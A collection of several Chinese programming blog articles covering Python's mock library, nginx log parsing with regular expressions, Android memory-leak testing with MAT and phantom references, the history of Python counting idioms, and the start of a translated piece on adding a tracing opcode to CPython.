mock 是一个极其优秀的 Python 包，Python 3 已将其纳入标准库。对于我们这些还在 UnicodeError 遍布的 Python 2.x 中挣扎的苦逼码农，可以通过 pip 进行安装：


pip install mock==1.0.1



mock 有多种不同的用法。我们可以用它提供猴子补丁功能，创建伪造的对象，甚至可以作为一个上下文管理器。所有这些都是基于一个共同目标的，用副本替换部分代码来收集信息并返回伪造的响应。


mock 的文档非常密集，寻找特定的用例信息可能会非常棘手。这里，我们就来看看一个常见的场景 - 替换一个内嵌函数并检查它的输入和输出。


开始 mock 之旅


让我们用 mock 来重新编写单元测试。接下来，我们将讨论发生了什么，以及为什么从测试的角度来看它是非常有用的：


# test.py
import mock
import unittest
from function import add_and_multiply


class MyTestCase(unittest.TestCase):

    @mock.patch('function.multiply')
    def test_add_and_multiply(self, mock_multiply):

        x = 3
        y = 5

        mock_multiply.return_value = 15

        addition, multiple = add_and_multiply(x, y)

        mock_multiply.assert_called_once_with(3, 5)

        self.assertEqual(8, addition)
        self.assertEqual(15, multiple)

if __name__ == "__main__":
    unittest.main()



至此，我们可以改变multiply函数来做任何我们想做的 - 它可能返回加3后的乘积，返回None，或返回 favourite line from Monty Python and the Holy Grail (需翻墙查看) - 你会发现，我们上面的测试仍然可以通过。这是因为我们mock了multiply函数。在真正的单元测试场景下，我们并不关心multiply函数内部发生了什么，从测试add_and_multiply的角度来看，我们只关multiply被正确的参数调用了。这里我们假定有另一个单元测试会针对multiply的内部逻辑进行测试。


刚才我们做了什么？


咋一看，上面的语法可能不好理解。让我们逐行分析：


@mock.patch('function.multiply')
def test_add_and_multiply(self, mock_multiply):



我们使用mock.patch装饰器来用 mock 对象替换multiply。然后，我们将它作为一个参数mock_multiply插入到我们的测试代码中。在这个测试的上下文中，任何对multiply的调用都会被重定向到mock_multiply对象。


有人会质疑 - “怎么能用对象替换函数！？“别担心！在 Python 的世界，函数也是对象。通常情况下，当我们调用multiply()，我们实际执行的是multiply函数的__call__方法。然而，恰当的使用 mock，对multiply()的调用将执行我们的mock对象而不是__call__方法。


mock_multiply.return_value = 15



为了使 mock 函数可以返回任何东西，我们需要定义其return_value属性。实际上，当 mock 函数被调用时，它用于定义 mock 对象的返回值。


addition, multiple = add_and_multiply(x, y)

mock_multiply.assert_called_once_with(3, 5)



在测试代码中，我们调用了外部函数add_and_multiply。它会调用内嵌的multiply函数，如果我们正确的进行了 mock，调用将会被我们定义的 mock 对象取代。为了验证这一点，我们可以用到 mock 对象的高级特性 - 当它们被调用时，传给它们的任何参数将被储存起来。顾名思义，mock 对assert_called_once_with方法就是一个不错的捷径来验证某个对象是否被一组特定的参数调用过。如果被调用了，测试通过。反之，assert_called_once_with会抛出AssertionError的异常。


我们从中学到了什么？


好吧，我们遇到了很多实际问题。首先，我们通过 mock 将multiply函数从add_and_multiply中分离出来。这就意味着我们的单元测试只针对add_and_multiply的内部逻辑。只有针对add_and_multiply的代码修改将影响测试的成功与否。


其次，我们现在可以控制内嵌函数的输出，以确保外部函数处理了不同的情况。例如，add_and_multiply可能有逻辑条件依赖于multiply的返回值：比如说，我们只想在乘积大于 10 的条件下返回一个值。通过人为设定multiply的返回值，我们可以模拟乘积小于 10 的情况以及乘积大于 10 的情况，从而可以很容易测试我们的逻辑正确性。


最后，我们现在可以验证被 mock 的函数被调用的次数，并传入了正确的参数。由于我们的 mock 对象取代了multiply函数的位置，我们知道任何针对multiply函数的调用都会被重定向到该 mock 对象。当测试一个复杂的功能时，确保每一步都被正确调用将是一件非常令人欣慰的事情。


本文系OneAPM 工程师@曾灵敏编译整理，想阅读更多技术文章，请访问OneAPM 官方技术博客。
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项目的一个需求是解析nginx的日志文件。

简单的整理如下：




日志规则描述


首先要明确自己的Nginx的日志格式，这里采用默认Nginx日志格式：


 log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                   '$status $body_bytes_sent "$http_referer" '
                   '"$http_user_agent" "$http_x_forwarded_for"';



其中一条真实记录样例如下：


172.22.8.207 - - [16/Dec/2014:17:57:35 +0800] "GET /report?DOmjjuS6keWJp+WculSQAgdUkAIPODExMzAwMDJDN0FC HTTP/1.1" 200 0 "-" "XXXXXXX/1.0.16; iPhone/iOS 8.1.2; ; 8DA77E2F91D0"



其中，客户端型号信息用XXXXXXX代替。


项目中已经按照业务规则对Nginx日志文件进行了处理命名规则如下：


ID-ID-YYMMDD-hhmmss



并且所有的日志文件存放在统一路径下。


解决思路




获取所有日志文件path



这里使用Python的glob模块来获取日志文件path


import glob


def readfile(path):
    return glob.glob(path + '*-*-*-*')



获取日志文件中每一行的内容


使用Python的linecache模块来获取文件行的内容


import linecache


def readline(path):
    return linecache.getlines(path)



注意：linecache模块使用了缓存，所以存在以下问题：



	在使用linecache模块读取文件内容以后，如果文件发生了变化，那么需要使用linecache.updatecache(filename)来更新缓存，以获取最新变化。


	linecache模块使用缓存，所以会耗费内存，耗费量与要解析的文件相关。最好在使用完毕后执行linecache.clearcache()清空一下缓存。




当然，作为优化，这里可以利用生成器来进行优化。暂且按下不表。


处理日志条目


一条日志信息就是一个特定格式的字符串，因此使用正则表达式来解析，这里使用Python的re模块。

下面，一条一条建立规则：


规则


    ip = r"?P<ip>[\d.]*"
    date = r"?P<date>\d+"
    month = r"?P<month>\w+"
    year = r"?P<year>\d+"
    log_time = r"?P<time>\S+"
    method = r"?P<method>\S+"
    request = r"?P<request>\S+"
    status = r"?P<status>\d+"
    bodyBytesSent = r"?P<bodyBytesSent>\d+"
    refer = r"""?P<refer>
             [^\"]*
             """
    userAgent=r"""?P<userAgent>
                .*
               """



解析


p = re.compile(r"(%s)\ -\ -\ \[(%s)/(%s)/(%s)\:(%s)\ [\S]+\]\ \"(%s)?[\s]?(%s)?.*?\"\ (%s)\ (%s)\ \"(%s)\"\ \"(%s).*?\"" %( ip, date, month, year, log_time, method, request, status, bodyBytesSent, refer, userAgent ), re.VERBOSE)
m = re.findall(p, logline)



这样，就可以得到日志条目中各个要素的原始数据。




格式及内容转化


得到日志原始数据之后，需要根据业务要求，对原始数据进行格式及内容转化。

这里需要处理的内容包括：时间，request，userAgent


时间格式转化


在日志信息原始数据中存在Dec这样的信息，利用Python的time模块可以方便的进行解析


import time


def parsetime(date, month, year, log_time):
    time_str = '%s%s%s %s' %(year, month, date, log_time)
    return time.strptime(time_str, '%Y%b%d %H:%M:%S')



解析request


在日志信息原始数据中得到的request的内容格式为：


/report?XXXXXX



这里只需要根据协议取出XXXXXX即可。

这里仍然采用Python的re模块


import re


def parserequest(rqst):
    param = r"?P<param>.*"
    p = re.compile(r"/report\?(%s)" %param, re.VERBOSE)
    return re.findall(p, rqst)



接下来需要根据业务协议解析参数内容。这里需要先利用base64模块解码，然后再利用struct模块解构内容：


import struct
import base64


def parseparam(param):
    decodeinfo = base64.b64decode(param)
    s = struct.Struct('!x' + bytes(len(decodeinfo) - (1 + 4 + 4 + 12)) + 'xii12x')
    return s.unpack(decodeinfo)



解析userAgent


在日志信息原始数据中userAgent数据的格式为：


XXX; XXX; XXX; XXX



根据业务要求，只需要取出最后一项即可。

这里采用re模块来解析。


import re


def parseuseragent(useragent):
    agent = r"?P<agent>.*"
    p = re.compile(r".*;.*;.*;(%s)" %agent, re.VERBOSE)
    return re.findall(p, useragent)





至此，nginx日志文件解析基本完成。

剩下的工作就是根据业务需要，对获得的基本信息进行处理。

（完）
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腾讯Bugly特约作者： 姚潮生



最原始的内存泄露测试

重复多次操作关键的可疑的路径，从内存监控工具中观察内存曲线，是否存在不断上升的趋势且不会在程序返回时明显回落。
这种方式可以发现最基本，也是最明显的内存泄露问题，对用户价值最大，操作难度小，性价比极高。



MAT内存分析工具

2.1 MAT分析heap的总内存占用大小来初步判断是否存在泄露


	在Devices 中，点击要监控的程序。


	点击Devices视图界面中最上方一排图标中的“Update Heap”


	点击Heap视图


	点击Heap视图中的“Cause GC”按钮


	到此为止需检测的进程就可以被监视。






Heap视图中部有一个Type叫做data object，即数据对象，也就是我们的程序中大量存在的类类型的对象。在data object一行中有一列是“Total Size”，其值就是当前进程中所有Java数据对象的内存总量，一般情况下，这个值的大小决定了是否会有内存泄漏。可以这样判断：

进入某应用，不断的操作该应用，同时注意观察data object的Total Size值，正常情况下Total Size值都会稳定在一个有限的范围内，也就是说由于程序中的的代码良好，没有造成对象不被垃圾回收的情况。

所以说虽然我们不断的操作会不断的生成很多对象，而在虚拟机不断的进行GC的过程中，这些对象都被回收了，内存占用量会会落到一个稳定的水平；反之如果代码中存在没有释放对象引用的情况，则data object的Total Size值在每次GC后不会有明显的回落。随着操作次数的增多Total Size的值会越来越大，直到到达一个上限后导致进程被杀掉。

2.2 MAT分析hprof来定位内存泄露的原因所在。

这是出现内存泄露后使用MAT进行问题定位的有效手段。


	Dump出内存泄露当时的内存镜像hprof，分析怀疑泄露的类：



	分析持有此类对象引用的外部对象



	分析这些持有引用的对象的GC路径



	逐个分析每个对象的GC路径是否正常





从这个路径可以看出是一个antiRadiationUtil工具类对象持有了MainActivity的引用导致MainActivity无法释放。此时就要进入代码分析此时antiRadiationUtil的引用持有是否合理（如果antiRadiationUtil持有了MainActivity的context导致节目退出后MainActivity无法销毁，那一般都属于内存泄露了）。

2.3 MAT对比操作前后的hprof来定位内存泄露的根因所在。

为查找内存泄漏，通常需要两个 Dump结果作对比，打开 Navigator History面板，将两个表的 Histogram结果都添加到 Compare Basket中去


	第一个HPROF 文件(usingFile > Open Heap Dump ).


	打开Histogram view.


	在NavigationHistory view里 (如果看不到就从Window >show view>MAT- Navigation History ), 右击histogram然后选择Add to Compare Basket .



	打开第二个HPROF 文件然后重做步骤2和3.


	切换到Compare Basket view, 然后点击Compare the Results (视图右上角的红色"!"图标)。



	分析对比结果





可以看出两个hprof的数据对象对比结果。通过这种方式可以快速定位到操作前后所持有的对象增量，从而进一步定位出当前操作导致内存泄露的具体原因是泄露了什么数据对象。

注意：

如果是用 MAT Eclipse 插件获取的 Dump文件，不需要经过转换则可在MAT中打开，Adt会自动进行转换。

而手机SDk Dump 出的文件要经过转换才能被 MAT识别，Android SDK提供了这个工具 hprof-conv (位于 sdk/tools下)

首先，要通过控制台进入到你的 android sdk tools 目录下执行以下命令：

./hprof-conv xxx-a.hprof xxx-b.hprof

例如 hprof-conv input.hprof out.hprof
此时才能将out.hprof放在eclipse的MAT中打开。

手机管家内存泄露每日监控方案

目前手机管家的内存泄露每日监控会自动运行并输出是否存在疑似泄露的报告邮件，不论泄露对象的大小。这其中涉及的核心技术主要是AspectJ，MLD自研工具（原理是虚引用）和UIAutomator。

3.1 AspectJ插桩监控代码

手机管家目前使用一个ant脚本加入MLD的监控代码，并通过AspectJ的语法实现插桩。
使用AspectJ的原因是可以灵活分离出项目源码与监控代码，通过不同的编译脚本打包出不同用途的安装测试包：如果测试包是经过Aspect插桩了MLD监控代码的话，那么运行完毕后会输出指定格式的日志文件，作为后续分析工作的数据基础。

3.2 MLD实现监控核心逻辑

这是手机管家内的一个工具工程，正式打包不会打入，BVT等每日监控测试包可以打入。打入后可以通过诸如addObject接口（通过反射去检查是否含有该工具并调用）来加入需要监控的检测对象，这个工具会自动在指定时机（如退出管家）去检测该对象是否发生泄漏。

这个内存泄露检测的基本原理是：

虚引用主要用来跟踪对象被垃圾回收器回收的活动。虚引用必须和引用队列（ReferenceQueue）联合使用（在虚引用函数就必须关联指定）。当垃圾回收器准备回收一个对象时，如果发现它还有虚引用，就会在回收对象的内存之前，自动把这个虚引用加入到与之关联的引用队列中。程序可以通过判断引用队列中是否已经加入了虚引用，来了解被引用的对象是否将要被垃圾回收。

基于以上原理，MLD工具在调用接口addObject加入监控类型时，会为该类型对象增加一个虚引用，注意虚引用并不会影响该对象被正常回收。因此可以在ReferenceQueue引用队列中统计未被回收的监控对象是否超过指定阀值。

利用PhantomReferences(虚引用)和ReferenceQueue(引用队列)，当PhantomReferences被加入到相关联的ReferenceQueue时，则视该对象已经或处于垃圾回收器回收阶段了。



MLD监控原理核心

目前手机管家已对大部分类完成内存泄露的监控，包括各种activity，service和view页面等，务求在技术上能带给用户最顺滑的产品体验。

接下来简单介绍下这个工具的判断核心。根据虚引用监控到的内存状态，需要通过多种策略来判断是否存在内存泄露。


	最简单的方式就是直接在加入监控时就为该类型设定最大存在个数，举个例子，各个DAO对象理论上只能存在最多一个，因此一旦出现两个相同的DAO，那一般都是泄露了；


	第二种情况是在页面退出程序退出时，检索gc后无法释放的对象列表，这些对象类型也会成为内存泄露的怀疑对象；


	最后一种情况比较复杂，基本原理是根据历史操作判断对象数量的增长幅度。根据对象的增长通过最小二乘法拟合出该对象类型的增长速度，如果超过经验值则会列入疑似泄露的对象列表。




3.3 UIAutomator完成重复操作的自动化

最后一步就很简单了。这么多反复的UI操作，让人工来点就太浪费人力了。我们使用UIAutomator来进行自动化操作测试。

目前手机管家的每日自动化测试已覆盖各个功能的主路径，并通过配置文件的方式来灵活驱动用例的增删改查，最大限度保证了随着版本推移用例的复用价值。

至此手机管家的内存泄露测试方案介绍完毕，也欢迎各路牛人交流沟通更多更强的内存泄露工具盒方案！



Bugly 是腾讯内部产品质量监控平台的外发版本，其主要功能是App发布以后，对用户侧发生的Crash以及卡顿现象进行监控并上报，让开发同学可以第一时间了解到App的质量情况，及时机型修改。目前腾讯内部所有的产品，均在使用其进行线上产品的崩溃监控。




 Python语言中计数方法的演变

作者：EarlGrey

来源： Python语言中计数方法的演变



                    



文中如对专业术语的翻译有误，请Python高手指正（Pythonistas），谢谢！另外，原文中的Pythonic一词，大意指符合Python语言规范、特性和数据结构的编码方式，蕴涵较为丰富，为了行文更顺畅、容易理解，此文暂时用简洁、优雅代替。-- <cite>EarlGrey@编程派</cite>

原文链接：Trey Hunner，发布于11月9日。
译文链接：编程派



有时候，利用Python语言简洁、优雅地解决问题的方法，会随着时间变化。随着Python不断进化，统计列表元素数量的方法也在改变。

以计算元素在列表中出现的次数为例，我们可以编写出许多不同的实现方法。在分析这些方法时，我们先不关注性能，只考虑代码风格。

要理解这些不同的实现方式，我们得先知道一些历史背景。幸运的是，我们生活在"__future__"世界，拥有一台时间机器。接下来，我们一起坐上时光机，回到1997年吧。


if 语句

1997年1月1日，我们使用的是Python 1.4。现在有一个不同颜色组成的列表，我们想知道列表里每种颜色出现的次数。我们用字典来计算吧！

colors = ["brown", "red", "green", "yellow", "yellow", "brown", "brown", "black"]
color_counts = {}
for c in colors:
    if color_counts.has_key(c):
        color_counts[c] = color_counts[c] + 1
    else:
        color_counts[c] = 1


注意：我们没有使用+=，因为增量赋值直到Python 2.0才出现；另外，我们也没有使用c in color_counts这个惯用法（idiom），因为这也是Python 2.2中才发明的，

运行上述代码之后，我们会发现color_counts字典里，现在包含了列表中每种颜色的出现次数。

color_counts
{'brown': 3, 'yellow': 2, 'green': 1, 'black': 1, 'red': 1}


上面的实现很简单。我们遍历了每一种颜色，并判断该颜色是否在字典中。如果不在，就在字典加入该颜色；如果在，就增加这种颜色的计数。

我们还可以把上面的代码改写为：

colors = ["brown", "red", "green", "yellow", "yellow", "brown", "brown", "black"]
color_counts = {}
for c in colors:
    if not color_counts.has_key(c):
        color_counts[c] = 0
    color_counts[c] = color_counts[c] + 1


如果列表稀疏度高（即列表中不重复的颜色数量很多），这段代码可能运行的会有点慢。因为我们现在要执行两个语句，而不是一个。但是我们不关心性能问题，我们只关注编码风格。经过思考，我们决定采用新版的代码。


try代码块（Code Block）

1997年1月2日，我们使用的还是Python 1.4。今早醒来的时候，我们突然意识到：我们的代码遵循的是“三思而后行”（Look Before You Leap，即事先检查每一种可能出现的情况）原则，但实际上我们应该按照“获得谅解比获得许可容易”（Easier to Ask Forgiveness, Than Permission，即不检查，出了问题由异常处理来处理）的原则进行编程，因为后者更加简洁、优雅。我们用try-except代码块来重构下代码吧：

colors = ["brown", "red", "green", "yellow", "yellow", "brown", "brown", "black"]
color_counts = {}
for c in colors:
    try:
        color_counts[c] = color_counts[c] + 1
    except KeyError:
        color_counts[c] = 1


现在，我们的代码尝试增加每种颜色的计数。如果某颜色不在字典里，那么就会抛出KeyError，我们随之将该颜色的计数设置为1。


get方法

1998年1月1日，我们已经升级到了Python 1.5。我们决定重构之前的代码，使用字典中新增的get方法。

colors = ["brown", "red", "green", "yellow", "yellow", "brown", "brown", "black"]
color_counts = {}
for c in colors:
    color_counts[c] = color_counts.get(c, 0) + 1


现在，我们的代码会遍历每种颜色，从字典中获取该颜色的当前计数值。如果没有这个计数值，则该颜色的计数值默认为0，然后在数值的基础上加1。最后将字典中相应键的值设置为新的计数。

把主要代码都写在一行里，感觉很酷，但是我们不敢完全肯定这种做法更加简洁、优雅。我们觉得可能有点太聪敏了，所以还是撤销了这次的重构。


setdefault方法

2001年1月1日，我们现在使用的是Python 2.0。我们听说字典类型现在有一个setdefault方法，决定利用它重构我们的代码。我们还决定使用新增加的+=增量赋值运算符。

colors = ["brown", "red", "green", "yellow", "yellow", "brown", "brown", "black"]
color_counts = {}
for c in colors:
    color_counts.setdefault(c, 0)
    color_counts[c] += 1


无论是否需要，我们在每一次循环时都会调用setdefault方法。但这样做，的确会让代码看上去可读性更高。我们发现这种方法比之前的代码更加简洁、优雅，所以提交了此次修改。


fromkeys方法

2004年1月1日，我们使用的是Python 2.3。我们听说字典新增了一个叫fromkeys的类方法（class method），可以利用列表中的元素作为键来构建字典。我们使用新方法重构了代码：

colors = ["brown", "red", "green", "yellow", "yellow", "brown", "brown", "black"]
color_counts = dict.fromkeys(colors, 0)
for c in colors:
    color_counts[c] += 1


这段代码将不同的颜色作为键，创建了一个新的字典，每个键的值被默认设置为0。这样，我们增加每个键的值时，就不用担心是否已经进行了设置。我们也不需要在代码中进行检查或异常处理了，这看上去是个改进。我们决定就这样修改代码。

推导式（Comprehension）与集合

2005年1月1日，我们现在用的是Python 2.4。我们发现可以利用集合（Python 2.3中发布，2.4版成为内置类型）与列表推导式（Python 2.0中发布）来解决计数问题。进一步思考之后，我想起来Python 2.4中还发布了生成器表达式（generator expressions），我们最后决定不用列表推导式，而是采用生成器表达式。

colors = ["brown", "red", "green", "yellow", "yellow", "brown", "brown", "black"]
color_counts = dict((c, colors.count(c)) for c in set(colors))


注意：我们这里使用的不是字典推导式，因为字典推导式直到Python 2.7才被发明。

运行成功了，而且只有一行代码。但是这种代码够简洁、优雅吗 ？

我们想起了Python之禅（Zen of Python），这个Python编程指导原则起源于一个Python邮件列表，并悄悄地收进了Python 2.2.1版本中。我们在REPL（read-eval-print loop，交互式解释器）界面中输入import this：

import this
The Zen of Python, by Tim Peters

Beautiful is better than ugly. # 优美胜过丑陋
Explicit is better than implicit. # 明确胜过含蓄
Simple is better than complex. # 简单胜过复杂
Complex is better than complicated. # 复杂胜过难懂
Flat is better than nested. # 扁平胜过嵌套
Sparse is better than dense. # 稀疏胜过密集
Readability counts. # 易读亦有价
Special cases aren't special enough to break the rules. # 特例也不能特殊到打破规则
Although practicality beats purity. # 尽管实用会击败纯洁
Errors should never pass silently. # 错误永远不应默默地溜掉 
Unless explicitly silenced. # 除非明确地使其沉默
In the face of ambiguity, refuse the temptation to guess.  # 面对着不确定，要拒绝猜测的诱惑
There should be one-- and preferably only one --obvious way to do it.  # 应该有一个–宁肯只有一个–明显的实现方法
Although that way may not be obvious at first unless you're Dutch. # 也许这个方法开始不是很明显，除非你是荷兰人
Now is better than never. #现在做也要胜过不去做
Although never is often better than right now. # 尽管不做通常好过立刻做
If the implementation is hard to explain, it's a bad idea. # 如果实现很难解释，那它就是一个坏想法
If the implementation is easy to explain, it may be a good idea. # 如果实现容易解释，那它可能就是一个好想法
Namespaces are one honking great idea -- let's do more of those! # 命名空间是一个响亮的出色想法–就让我们多用用它们


译者注：Python之禅的翻译版本很多，这里选用的译文出自啄木鸟社区。



我们的代码变得更复杂，时间复杂度从O(n)增加到了O(n2)；还变的更丑，可读性更差了。我们那样改，是一次有趣的尝试，但是一行代码的实现形式，没有我们之前的方法简洁、优雅。我们最后还是决定撤销修改。


defaultdict方法

2007年1月1日，我们使用的是Python 2.5。我们刚发现，defaultdict已经被加入标准库。这样，我们就可以把字典的默认键值设置为0了。让我们使用defaultdict重构代码：

from collections import defaultdict
    colors = ["brown", "red", "green", "yellow", "yellow", "brown", "brown", "black"]
    color_counts = defaultdict(int)
    for c in colors:
        color_counts[c] += 1


那个for循环现在变得真简单！这样肯定是更加简洁、优雅了。

我们发现，color_counts这个变量的行为现在有点不同，但是它的确继承了字典的特性，支持所有相同的映射功能。

color_counts
defaultdict(<type 'int'>, {'brown': 3, 'yellow': 2, 'green': 1, 'black': 1, 'red': 1})


我们在这里没有把color_counts转换成字典，而是假设其他的代码也使用鸭子类型（duck typing， Python中动态类型的一种，这里的意思是：其他代码会将color_counts视作字典类型），不再改动这个类似字典的对象。


Counter类

2011年1月1日，我们使用的是Python 2.7。别人告诉我们，之前使用defaultdict编写的代码，不再是统计颜色出现次数最简洁、优雅的方法了。Python 2.7中新引入了一个Counter类，可以完全解决我们的问题。

from collections import Counter
colors = ["brown", "red", "green", "yellow", "yellow", "brown", "brown", "black"]
color_counts = Counter(colors)


还有比这更简单的方法吗？这个一定是最简洁、优雅的实现了。

与defaultdict一样，Counter类返回的也是一个类似字典的对象（实际是字典的一个子类）。这对满足我们的需求来说足够了，所以我们就这么干了。

color_counts
Counter({'brown': 3, 'yellow': 2, 'green': 1, 'black': 1, 'red': 1})


性能考虑

请注意，在编写这些实现方式时，我们都没有关注效率问题。大部分方法的时间复杂度相同（O(n)），但是不同的Python语言实现形式（如CPython, PyPy，或者Jython）下，运行时间会有差异。

尽管性能不是我们的主要关注点，我还是在CPython 3.5.0的实现下测试了运行时间。从中，你会发现一个有趣的现象：随着列表中颜色元素的密度（即相同元素的数量）变化，每一种实现方法的相对效率也会不同。

结语

根据Python之禅，“ 应该有一个——宁肯只有一个明显的实现方法”。这句话所说的状态值得追求，但事实是，并不总是只有一种明显的方法。这个“明显”的方法会随着时间、需求和专业水平，不断地变化。

“简洁、优雅”（即Pythonic）也是一个相对的概念。


 [译] 从底层理解 Python 的执行

作者：OneAPM蓝海讯通

来源： [译] 从底层理解 Python 的执行



                    
原文链接： Understanding Python execution from inside: A Python assembly tracer


以下为译文




最近我在学习 Python 的运行模型。我对 Python 的一些内部机制很是好奇，比如 Python 是怎么实现类似 YIELDVALUE、YIELDFROM 这样的操作码的；对于 递推式构造列表(List Comprehensions)、生成器表达式(generator expressions)以及其他一些有趣的 Python 特性是怎么编译的；从字节码的层面来看，当异常抛出的时候都发生了什么事情。翻阅 CPython 的代码对于解答这些问题当然是很有帮助的，但我仍然觉得以这样的方式来做的话对于理解字节码的执行和堆栈的变化还是缺少点什么。GDB 是个好选择，但是我懒，而且只想使用一些比较高阶的接口写点 Python 代码来完成这件事。


所以呢，我的目标就是创建一个字节码级别的追踪 API，类似 sys.setrace 所提供的那样，但相对而言会有更好的粒度。这充分锻炼了我编写 Python 实现的 C 代码的编码能力。我们所需要的有如下几项，在这篇文章中所用的 Python 版本为 3.5。



	一个新的 Cpython 解释器操作码

	一种将操作码注入到 Python 字节码的方法

	一些用于处理操作码的 Python 代码



一个新的 Cpython 操作码


新操作码：DEBUG_OP


这个新的操作码 DEBUG_OP 是我第一次尝试写 CPython 实现的 C 代码，我将尽可能的让它保持简单。 我们想要达成的目的是，当我们的操作码被执行的时候我能有一种方式来调用一些 Python 代码。同时，我们也想能够追踪一些与执行上下文有关的数据。我们的操作码会把这些信息当作参数传递给我们的回调函数。通过操作码能辨识出的有用信息如下：



	堆栈的内容

	执行 DEBUG_OP 的帧对象信息



所以呢，我们的操作码需要做的事情是：



	找到回调函数

	创建一个包含堆栈内容的列表

	调用回调函数，并将包含堆栈内容的列表和当前帧作为参数传递给它



听起来挺简单的，现在开始动手吧！声明：下面所有的解释说明和代码是经过了大量段错误调试之后总结得到的结论。首先要做的是给操作码定义一个名字和相应的值，因此我们需要在 Include/opcode.h中添加代码。


    /** My own comments begin by '**' **/  
    /** From: Includes/opcode.h **/  

    /* Instruction opcodes for compiled code */  

    /** We just have to define our opcode with a free value  
        0 was the first one I found **/  
    #define DEBUG_OP                0  

    #define POP_TOP                 1  
    #define ROT_TWO                 2  
    #define ROT_THREE               3  



这部分工作就完成了，现在我们去编写操作码真正干活的代码。


实现 DEBUG_OP


在考虑如何实现DEBUG_OP之前我们需要了解的是 DEBUG_OP 提供的接口将长什么样。 拥有一个可以调用其他代码的新操作码是相当酷眩的，但是究竟它将调用哪些代码捏？这个操作码如何找到回调函数的捏？我选择了一种最简单的方法：在帧的全局区域写死函数名。那么问题就变成了，我该怎么从字典中找到一个固定的 C 字符串？为了回答这个问题我们来看看在 Python 的 main loop 中使用到的和上下文管理相关的标识符 enter 和 exit。


我们可以看到这两标识符被使用在操作码 SETUP_WITH 中：


    /** From: Python/ceval.c **/  
    TARGET(SETUP_WITH) {  
    _Py_IDENTIFIER(__exit__);  
    _Py_IDENTIFIER(__enter__);  
    PyObject *mgr = TOP();  
    PyObject *exit = special_lookup(mgr, &PyId___exit__), *enter;  
    PyObject *res;  



现在，看一眼宏 _Py_IDENTIFIER 定义


/** From: Include/object.h **/

/********************* String Literals ****************************************/
/* This structure helps managing static strings. The basic usage goes like this:
   Instead of doing

       r = PyObject_CallMethod(o, "foo", "args", ...);

   do

       _Py_IDENTIFIER(foo);
       ...
       r = _PyObject_CallMethodId(o, &PyId_foo, "args", ...);

   PyId_foo is a static variable, either on block level or file level. On first
   usage, the string "foo" is interned, and the structures are linked. On interpreter
   shutdown, all strings are released (through _PyUnicode_ClearStaticStrings).

   Alternatively, _Py_static_string allows to choose the variable name.
   _PyUnicode_FromId returns a borrowed reference to the interned string.
   _PyObject_{Get,Set,Has}AttrId are __getattr__ versions using _Py_Identifier*.
*/
typedef struct _Py_Identifier {
    struct _Py_Identifier *next;
    const char* string;
    PyObject *object;
} _Py_Identifier;

#define _Py_static_string_init(value) { 0, value, 0 }
#define _Py_static_string(varname, value)  static _Py_Identifier varname = _Py_static_string_init(value)
#define _Py_IDENTIFIER(varname) _Py_static_string(PyId_##varname, #varname)



嗯，注释部分已经说明得很清楚了。通过一番查找，我们发现了可以用来从字典找固定字符串的函数 _PyDict_GetItemId，所以我们操作码的查找部分的代码就是长这样滴。


     /** Our callback function will be named op_target **/  
    PyObject *target = NULL;  
    _Py_IDENTIFIER(op_target);  
    target = _PyDict_GetItemId(f->f_globals, &PyId_op_target);  
    if (target == NULL && _PyErr_OCCURRED()) {  
        if (!PyErr_ExceptionMatches(PyExc_KeyError))  
            goto error;  
        PyErr_Clear();  
        DISPATCH();  
    }  



为了方便理解，对这一段代码做一些说明：



	f 是当前的帧，f->f_globals 是它的全局区域

	如果我们没有找到 op_target，我们将会检查这个异常是不是 KeyError

	goto error; 是一种在 main loop 中抛出异常的方法

	PyErr_Clear() 抑制了当前异常的抛出，而 DISPATCH() 触发了下一个操作码的执行



下一步就是收集我们想要的堆栈信息。


    /** This code create a list with all the values on the current   stack **/  
    PyObject *value = PyList_New(0);  
    for (i = 1 ; i <= STACK_LEVEL(); i++) {  
        tmp = PEEK(i);  
        if (tmp == NULL) {  
            tmp = Py_None;  
        }  
        PyList_Append(value, tmp);  
    }  



最后一步就是调用我们的回调函数！我们用 call_function 来搞定这件事，我们通过研究操作码 CALL_FUNCTION 的实现来学习怎么使用 call_function 。


    /** From: Python/ceval.c **/  
    TARGET(CALL_FUNCTION) {  
        PyObject **sp, *res;  
        /** stack_pointer is a local of the main loop.  
            It's the pointer to the stacktop of our frame **/  
        sp = stack_pointer;  
        res = call_function(&sp, oparg);  
        /** call_function handles the args it consummed on the stack     for us **/  
        stack_pointer = sp;  
        PUSH(res);  
        /** Standard exception handling **/  
        if (res == NULL)  
            goto error;  
        DISPATCH();  
    }  



有了上面这些信息，我们终于可以捣鼓出一个操作码DEBUG_OP的草稿了：


    TARGET(DEBUG_OP) {  
        PyObject *value = NULL;  
        PyObject *target = NULL;  
        PyObject *res = NULL;  
        PyObject **sp = NULL;  
        PyObject *tmp;  
        int i;  
        _Py_IDENTIFIER(op_target);  

        target = _PyDict_GetItemId(f->f_globals, &PyId_op_target);  
        if (target == NULL && _PyErr_OCCURRED()) {  
            if (!PyErr_ExceptionMatches(PyExc_KeyError))  
                goto error;  
            PyErr_Clear();  
            DISPATCH();  
        }  
        value = PyList_New(0);  
        Py_INCREF(target);  
        for (i = 1 ; i <= STACK_LEVEL(); i++) {  
            tmp = PEEK(i);  
            if (tmp == NULL)  
                tmp = Py_None;  
            PyList_Append(value, tmp);  
        }  

        PUSH(target);  
        PUSH(value);  
        Py_INCREF(f);  
        PUSH(f);  
        sp = stack_pointer;  
        res = call_function(&sp, 2);  
        stack_pointer = sp;  
        if (res == NULL)  
            goto error;  
        Py_DECREF(res);  
        DISPATCH();  
    }



在编写 CPython 实现的 C 代码方面我确实没有什么经验，有可能我漏掉了些细节。如果您有什么建议还请您纠正，我期待您的反馈。


编译它，成了！


一切看起来很顺利，但是当我们尝试去使用我们定义的操作码 DEBUG_OP 的时候却失败了。自从 2008 年之后，Python 使用预先写好的 goto(你也可以从 这里获取更多的讯息)。故，我们需要更新下 goto jump table，我们在 Python/opcode_targets.h 中做如下修改。


    /** From: Python/opcode_targets.h **/  
    /** Easy change since DEBUG_OP is the opcode number 1 **/  
    static void *opcode_targets[256] = {  
        //&&_unknown_opcode,  
        &&TARGET_DEBUG_OP,  
        &&TARGET_POP_TOP,  
        /** ... **/  



这就完事了，我们现在就有了一个可以工作的新操作码。唯一的问题就是这货虽然存在，但是没有被人调用过。接下来，我们将DEBUG_OP注入到函数的字节码中。


在 Python 字节码中注入操作码 DEBUG_OP


有很多方式可以在 Python 字节码中注入新的操作码：



	使用 peephole optimizer， Quarkslab就是这么干的

	在生成字节码的代码中动些手脚

